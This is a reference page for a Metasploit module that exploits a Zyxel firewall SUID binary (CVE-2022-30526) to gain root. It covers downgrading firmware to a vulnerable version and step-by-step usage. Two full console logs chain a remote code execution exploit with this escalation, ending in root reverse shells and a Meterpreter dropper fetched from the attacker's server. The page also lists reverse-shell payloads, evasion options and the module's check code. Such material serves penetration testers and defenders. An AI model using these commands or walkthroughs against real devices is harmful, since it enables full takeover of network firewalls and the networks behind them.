Zyxel Firewall SUID Binary Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/zyxel_suid_cp_lpe metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Zyxel Firewall SUID Binary Privilege Escalation
Module: exploit/linux/local/zyxel_suid_cp_lpe
Source code: modules/exploits/linux/local/zyxel_suid_cp_lpe.rb
Disclosure date: 2022-06-14
Last modification time: 2022-07-19 03:29:11 +0000
Supported architecture(s): cmd, mips64
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2022-30525, CVE-2022-30526
This module exploits CVE-2022-30526, a local privilege escalation vulnerability that allows a low privileged user (e.g. nobody) escalate to root. The issue stems from a suid binary that allows all users to copy files as root. This module overwrites the firewall's crontab to execute an attacker provided script, resulting in code execution as root. In order to use this module, the attacker must first establish shell access. For example, by exploiting CVE-2022-30525. Known affected Zyxel models are: USG FLEX (50, 50W, 100W, 200, 500, 700), ATP (100, 200, 500, 700, 800), VPN (50, 100, 300, 1000), USG20-VPN and USG20W-VPN.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/linux/local/zyxel_suid_cp_lpe
msf exploit(zyxel_suid_cp_lpe) > exploit
Required Options
- SESSION: The session to run this module on
Knowledge Base
Vulnerable Application
Description
This module exploits CVE-2022-30526, a local privilege escalation vulnerability that
allows a low privileged user (e.g. nobody
) escalate to root. The issue stems from
a suid binary that allows all users to copy files as root
. This module overwrites
the firewall's crontab to execute an attacker provided script, resulting in code
execution as root
.
In order to use this module, the attacker must first establish shell access. For example, by exploiting CVE-2022-30525.
Known affected Zyxel models are:
- USG FLEX 50, 50W, 100W, 200, 500, 700
- ATP 100, 200, 500, 700, 800
- VPN 50, 100, 300, 1000
- USG20-VPN and USG20W-VPN
Setup
The vulnerable system is a hardware firewall/vpn that, to our knowledge, cannot be emulated. As such, testing requires a physical device. Once the device has been acquired, you'll need to accomplish the following:
Once powered on, register the device with Zyxel. You cannot do anything with the device until this is accomplished. Fortunately, the web interface will force you to complete this process. You'll need to create an account at https://portal.myzyxel.com and the firewall will need internet connectivity to complete the process.
Once the device is up to date, you'll need to downgrade the firmware. From portal.myzyxel.com you can download old firmware from:
Devices Management -> Firmware Download
From there you can select model and version to download. The last vulnerable version from the affected systems is 5.21 Patch 1.
- Once you are using the vulnerable version, there is no special configuration you need to exploit from the LAN. If you want to exploit from the WAN, you'll need to enable "HTTP" and/or "HTTPS" through the firewall. From the web interface do:
Configuration -> Objects -> Service -> Service Group -> Default_Allow_WAN_To_ZyWALL
And move "HTTP" and/or "HTTPS" from the left column to the right. After applying the firewall should pass HTTP/HTTPS through the firewall to the web interface.
- That's it. You are good to go.
Verification Steps
- Follow setup steps above.
- Establish a shell on the device. See
exploit/linux/http/zyxel_ztp_rce
- Do:
use exploit/linux/local/zyxel_suid_cp_lpe
- Do:
check
- Verify the remote host is exploitable
- Do:
set LHOST <ip>
- Do:
run
- Verify the module acquires a root shell
Scenarios
Successful escalation to root bash shell on USG Flex 100 using firmware 5.21
msf6 > use exploit/linux/http/zyxel_ztp_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14
RHOST => 10.0.0.14
msf6 exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28
LHOST => 10.0.0.28
msf6 exploit(linux/http/zyxel_ztp_rce) > run
[*] Started reverse TCP handler on 10.0.0.28:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. This was determined by the model and build date: USG FLEX 100, 220315042158
[*] Executing Shell Dropper for cmd/unix/reverse_bash
[*] Sending command to /ztp/cgi-bin/handler
[*] Command shell session 1 opened (10.0.0.28:4444 -> 10.0.0.14:50827) at 2022-05-13 11:55:47 -0700
[+] Command successfully executed.
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
cat /zyinit/fwversion
KERNEL_VERSION=3.10.87
FIRMWARE_VER=5.21(ABUH.1)521-r103462-k3
CAPWAP_VER=1.00.04
COMPATIBLE_PRODUCT_MODEL_0=E15D
COMPATIBLE_PRODUCT_MODEL_1=FFFF
COMPATIBLE_PRODUCT_MODEL_2=FFFF
COMPATIBLE_PRODUCT_MODEL_3=FFFF
COMPATIBLE_PRODUCT_MODEL_4=FFFF
MODEL_ID=USG FLEX 100
KERNEL_BUILD_DATE=2022-03-15 03:18:23
BUILD_DATE=2022-03-15 05:14:23
FSH_VER=1.0.0
^Z
Background session 1? [y/N] y
msf6 exploit(linux/http/zyxel_ztp_rce) > use exploit/linux/local/zyxel_suid_cp_lpe
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set LHOST 10.0.0.28
LHOST => 10.0.0.28
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set session 1
session => 1
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > run
[*] Started reverse TCP handler on 10.0.0.28:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. System version: USG FLEX 100, 5.21(ABUH.1)521-r103462-k3
[*] Executing Unix Command for cmd/unix/reverse_bash
[*] Overwriting /var/zyxel/crontab
[*] The payload may take up to 60 seconds to be executed by cron
[+] Deleted /tmp/bJUQqm
[*] Resetting crontab to the original version
[+] Deleted /tmp/IcNlzvnv5
[*] Command shell session 2 opened (10.0.0.28:4444 -> 10.0.0.14:50829) at 2022-05-13 11:57:08 -0700
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
Successful escalation to root Meterpreter on USG Flex 100 using firmware 5.21
msf6 > use exploit/linux/http/zyxel_ztp_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14
RHOST => 10.0.0.14
msf6 exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28
LHOST => 10.0.0.28
msf6 exploit(linux/http/zyxel_ztp_rce) > run
[*] Started reverse TCP handler on 10.0.0.28:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. This was determined by the model and build date: USG FLEX 100, 220315042158
[*] Executing Shell Dropper for cmd/unix/reverse_bash
[*] Sending command to /ztp/cgi-bin/handler
[*] Command shell session 1 opened (10.0.0.28:4444 -> 10.0.0.14:50827) at 2022-05-13 11:55:47 -0700
[+] Command successfully executed.
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
cat /zyinit/fwversion
KERNEL_VERSION=3.10.87
FIRMWARE_VER=5.21(ABUH.1)521-r103462-k3
CAPWAP_VER=1.00.04
COMPATIBLE_PRODUCT_MODEL_0=E15D
COMPATIBLE_PRODUCT_MODEL_1=FFFF
COMPATIBLE_PRODUCT_MODEL_2=FFFF
COMPATIBLE_PRODUCT_MODEL_3=FFFF
COMPATIBLE_PRODUCT_MODEL_4=FFFF
MODEL_ID=USG FLEX 100
KERNEL_BUILD_DATE=2022-03-15 03:18:23
BUILD_DATE=2022-03-15 05:14:23
FSH_VER=1.0.0
^Z
Background session 1? [y/N] y
msf6 exploit(linux/http/zyxel_ztp_rce) > use exploit/linux/local/zyxel_suid_cp_lpe
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set LHOST 10.0.0.28
LHOST => 10.0.0.28
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set session 1
session => 1
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set target 1
target => 1
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > run
[*] Started reverse TCP handler on 10.0.0.28:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. System version: USG FLEX 100, 5.21(ABUH.1)521-r103462-k3
[*] Executing Linux Dropper for linux/mips64/meterpreter_reverse_tcp
[*] Using URL: http://10.0.0.28:8080/0g5aPNZ8DvT1n
[*] Overwriting /var/zyxel/crontab
[*] The payload may take up to 60 seconds to be executed by cron
[*] Client 10.0.0.14 (curl/7.70.0) requested /0g5aPNZ8DvT1n
[*] Sending payload to 10.0.0.14 (curl/7.70.0)
[+] Deleted /tmp/hdpBYBRk
[+] Deleted /tmp/OpTYd0c0
[*] Meterpreter session 3 opened (10.0.0.28:4444 -> 10.0.0.14:50832) at 2022-05-13 12:00:01 -0700
[*] Command Stager progress - 100.00% done (115/115 bytes)
[*] Resetting crontab to the original version
[*] Server stopped.
meterpreter > shell
Process 29664 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
Go back to menu.
Msfconsole Usage
Here is how the linux/local/zyxel_suid_cp_lpe exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/zyxel_suid_cp_lpe
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > show info
Name: Zyxel Firewall SUID Binary Privilege Escalation
Module: exploit/linux/local/zyxel_suid_cp_lpe
Platform: Linux, Unix
Arch: cmd, mips64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2022-06-14
Provided by:
jbaines-r7
Module side effects:
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 t
o listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits CVE-2022-30526, a local privilege escalation
vulnerability that allows a low privileged user (e.g. nobody)
escalate to root. The issue stems from a suid binary that allows all
users to copy files as root. This module overwrites the firewall's
crontab to execute an attacker provided script, resulting in code
execution as root. In order to use this module, the attacker must
first establish shell access. For example, by exploiting
CVE-2022-30525. Known affected Zyxel models are: USG FLEX (50, 50W,
100W, 200, 500, 700), ATP (100, 200, 500, 700, 800), VPN (50, 100,
300, 1000), USG20-VPN and USG20W-VPN.
References:
https://nvd.nist.gov/vuln/detail/CVE-2022-30526
https://www.zyxel.com/support/Zyxel-security-advisory-authenticated-directory-traversal-vulnerabilities-of-firewalls.shtml
Module Options
This is a complete list of options available in the linux/local/zyxel_suid_cp_lpe exploit:
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > show options
Module options (exploit/linux/local/zyxel_suid_cp_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0
to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
Advanced Options
Here is a complete list of advanced options supported by the linux/local/zyxel_suid_cp_lpe exploit:
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > show advanced
Module advanced options (exploit/linux/local/zyxel_suid_cp_lpe):
Name Current Setting Required Description
---- --------------- -------- -----------
AllowNoCleanup false no Allow exploitation without the possibility of cleaning up files
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, curl, wget)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CMDSTAGER::URIPATH no Payload URI path for supported stagers
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
ListenerBindAddress no The specific IP address to bind to if different from SRVHOST
ListenerBindPort no The port to bind to if different from SRVPORT
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepte
d: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 70 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy b
ut directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/zyxel_suid_cp_lpe module can exploit:
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > show targets
Exploit targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/zyxel_suid_cp_lpe exploit:
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/python/meterpreter/bind_tcp normal No Python Exec, Python Meterpreter, Python Bind TCP Stager
20 payload/cmd/unix/python/meterpreter/bind_tcp_uuid normal No Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
21 payload/cmd/unix/python/meterpreter/reverse_http normal No Python Exec, Python Meterpreter, Python Reverse HTTP Stager
22 payload/cmd/unix/python/meterpreter/reverse_https normal No Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
23 payload/cmd/unix/python/meterpreter/reverse_tcp normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager
24 payload/cmd/unix/python/meterpreter/reverse_tcp_ssl normal No Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
25 payload/cmd/unix/python/meterpreter/reverse_tcp_uuid normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
26 payload/cmd/unix/python/meterpreter_bind_tcp normal No Python Exec, Python Meterpreter Shell, Bind TCP Inline
27 payload/cmd/unix/python/meterpreter_reverse_http normal No Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
28 payload/cmd/unix/python/meterpreter_reverse_https normal No Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
29 payload/cmd/unix/python/meterpreter_reverse_tcp normal No Python Exec, Python Meterpreter Shell, Reverse TCP Inline
30 payload/cmd/unix/python/pingback_bind_tcp normal No Python Exec, Python Pingback, Bind TCP (via python)
31 payload/cmd/unix/python/pingback_reverse_tcp normal No Python Exec, Python Pingback, Reverse TCP (via python)
32 payload/cmd/unix/python/shell_bind_tcp normal No Python Exec, Command Shell, Bind TCP (via python)
33 payload/cmd/unix/python/shell_reverse_tcp normal No Python Exec, Command Shell, Reverse TCP (via python)
34 payload/cmd/unix/python/shell_reverse_tcp_ssl normal No Python Exec, Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/python/shell_reverse_udp normal No Python Exec, Command Shell, Reverse UDP (via python)
36 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
37 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
38 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
39 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
40 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
41 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
42 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
43 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
44 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
45 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
46 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
47 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
48 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
49 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
50 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
51 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
52 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
53 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
54 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
55 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
56 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
57 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
58 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
59 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
60 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
61 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
62 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
63 payload/generic/custom normal No Custom Payload
64 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
65 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
66 payload/generic/ssh/interact normal No Interact with Established SSH Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/zyxel_suid_cp_lpe exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Could not read /zyinit/fwversion. The target is not a Zyxel firewall.
- Failed to identify the firewall model.
- Failed to identify the firmware version.
- Failed to generate a permission issue. System version: <MODEL_ID>, <FIRMWARE_VER>
- zysudo.suid copy failed. System version: <MODEL_ID>, <FIRMWARE_VER>
- System version: <MODEL_ID>, <FIRMWARE_VER>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not read /zyinit/fwversion. The target is not a Zyxel firewall.
Here is a relevant code snippet related to the "Could not read /zyinit/fwversion. The target is not a Zyxel firewall." error message:
84: # /zyinit/fwversion file. Then it attempts to prove that zysudo.suid can be
85: # used by the user to write to otherwise unwrittable location.
86: def check
87: fwversion_data = read_file('/zyinit/fwversion')
88: if fwversion_data.nil? || fwversion_data.empty?
89: return CheckCode::Safe('Could not read /zyinit/fwversion. The target is not a Zyxel firewall.')
90: end
91:
92: model_id = fwversion_data[/MODEL_ID=(?<model_id>[^\n]+)/, :model_id]
93: return CheckCode::Unknown('Failed to identify the firewall model.') if model_id.nil? || model_id.empty?
94:
Failed to identify the firewall model.
Here is a relevant code snippet related to the "Failed to identify the firewall model." error message:
88: if fwversion_data.nil? || fwversion_data.empty?
89: return CheckCode::Safe('Could not read /zyinit/fwversion. The target is not a Zyxel firewall.')
90: end
91:
92: model_id = fwversion_data[/MODEL_ID=(?<model_id>[^\n]+)/, :model_id]
93: return CheckCode::Unknown('Failed to identify the firewall model.') if model_id.nil? || model_id.empty?
94:
95: firmware_ver = fwversion_data[/FIRMWARE_VER=(?<firmware_ver>[^\n]+)/, :firmware_ver]
96: return CheckCode::Unknown('Failed to identify the firmware version.') if firmware_ver.nil? || firmware_ver.empty?
97:
98: test_file = "/var/zyxel/#{rand_text_alphanumeric(12..16)}"
Failed to identify the firmware version.
Here is a relevant code snippet related to the "Failed to identify the firmware version." error message:
91:
92: model_id = fwversion_data[/MODEL_ID=(?<model_id>[^\n]+)/, :model_id]
93: return CheckCode::Unknown('Failed to identify the firewall model.') if model_id.nil? || model_id.empty?
94:
95: firmware_ver = fwversion_data[/FIRMWARE_VER=(?<firmware_ver>[^\n]+)/, :firmware_ver]
96: return CheckCode::Unknown('Failed to identify the firmware version.') if firmware_ver.nil? || firmware_ver.empty?
97:
98: test_file = "/var/zyxel/#{rand_text_alphanumeric(12..16)}"
99: unless cmd_exec("/bin/cp /etc/passwd #{test_file}") == "/bin/cp: cannot create regular file '#{test_file}': Permission denied"
100: return CheckCode::Unknown("Failed to generate a permission issue. System version: #{model_id}, #{firmware_ver}")
101: end
Failed to generate a permission issue. System version: <MODEL_ID>, <FIRMWARE_VER>
Here is a relevant code snippet related to the "Failed to generate a permission issue. System version: <MODEL_ID>, <FIRMWARE_VER>" error message:
95: firmware_ver = fwversion_data[/FIRMWARE_VER=(?<firmware_ver>[^\n]+)/, :firmware_ver]
96: return CheckCode::Unknown('Failed to identify the firmware version.') if firmware_ver.nil? || firmware_ver.empty?
97:
98: test_file = "/var/zyxel/#{rand_text_alphanumeric(12..16)}"
99: unless cmd_exec("/bin/cp /etc/passwd #{test_file}") == "/bin/cp: cannot create regular file '#{test_file}': Permission denied"
100: return CheckCode::Unknown("Failed to generate a permission issue. System version: #{model_id}, #{firmware_ver}")
101: end
102:
103: suid_copy_result = cmd_exec("zysudo.suid /bin/cp /etc/passwd #{test_file}")
104: unless suid_copy_result.empty?
105: return CheckCode::Safe("zysudo.suid copy failed. System version: #{model_id}, #{firmware_ver}")
zysudo.suid copy failed. System version: <MODEL_ID>, <FIRMWARE_VER>
Here is a relevant code snippet related to the "zysudo.suid copy failed. System version: <MODEL_ID>, <FIRMWARE_VER>" error message:
100: return CheckCode::Unknown("Failed to generate a permission issue. System version: #{model_id}, #{firmware_ver}")
101: end
102:
103: suid_copy_result = cmd_exec("zysudo.suid /bin/cp /etc/passwd #{test_file}")
104: unless suid_copy_result.empty?
105: return CheckCode::Safe("zysudo.suid copy failed. System version: #{model_id}, #{firmware_ver}")
106: end
107:
108: # clean up the created file
109: cmd_exec("zysudo.suid /bin/rm #{test_file}")
110:
System version: <MODEL_ID>, <FIRMWARE_VER>
Here is a relevant code snippet related to the "System version: <MODEL_ID>, <FIRMWARE_VER>" error message:
106: end
107:
108: # clean up the created file
109: cmd_exec("zysudo.suid /bin/rm #{test_file}")
110:
111: return CheckCode::Vulnerable("System version: #{model_id}, #{firmware_ver}")
112: end
113:
114: # no matter what happens, try to reset the crontab to the original state and
115: # delete the backup file.
116: def cleanup
Go back to menu.
Related Pull Requests
- #16982 Merged Pull Request: Update Dell iDRAC login scanner to work with v8 and v9
- #17032 Merged Pull Request: Add module for pfSense pfBlockNG unauth RCE as root - CVE-2022-31814
- #17116 Merged Pull Request: Adding CVE-2022-22947 Spring Cloud Gateway RCE Exploit
- #17092 Merged Pull Request: netlm_downgrade: Cleanup and support non-Meterpreter sessions
- #16987 Merged Pull Request: guard for all possible RubySMBError conditions
- #17123 Merged Pull Request: netrc and fetchmailrc docs
- #17057 Merged Pull Request: Msf::Post::Windows::ExtAPI: Remove load_extapi method
References
- CVE-2022-30526
- https://www.zyxel.com/support/Zyxel-security-advisory-authenticated-directory-traversal-vulnerabilities-of-firewalls.shtml
See Also
Check also the following modules related to this module:
- exploit/linux/http/zyxel_ztp_rce
- auxiliary/admin/http/zyxel_admin_password_extractor
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
- exploit/linux/local/pihole_remove_commands_lpe
- exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
- exploit/osx/local/vmware_fusion_lpe
- exploit/unix/local/opensmtpd_oob_read_lpe
- exploit/windows/local/anyconnect_lpe
- exploit/windows/local/cve_2017_8464_lnk_lpe
- exploit/windows/local/cve_2020_1054_drawiconex_lpe
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- auxiliary/dos/windows/nat/nat_helper
- auxiliary/server/dns/spoofhelper
- exploit/linux/local/libuser_roothelper_priv_esc
- exploit/linux/local/ptrace_traceme_pkexec_helper
- exploit/linux/misc/mongod_native_helper
- exploit/windows/browser/ms13_090_cardspacesigninhelper
- exploit/windows/http/adobe_robohelper_authbypass
- exploit/windows/local/bypassuac_fodhelper
- exploit/linux/local/asan_suid_executable_priv_esc
- exploit/linux/local/ktsuss_suid_priv_esc
- exploit/linux/local/omniresolve_suid_priv_esc
- exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
- exploit/linux/local/cpi_runrshell_priv_esc
- exploit/linux/http/cpi_tararchive_upload
- exploit/linux/http/docker_daemon_tcp
- exploit/linux/http/vestacp_exec
- exploit/linux/http/zimbra_cpio_cve_2022_41352
- exploit/linux/misc/novell_edirectory_ncp_bof
- exploit/linux/ssh/cisco_ucs_scpuser
- exploit/multi/local/xorg_x11_suid_server
- exploit/multi/local/xorg_x11_suid_server_modulepath
Authors
- jbaines-r7
Version
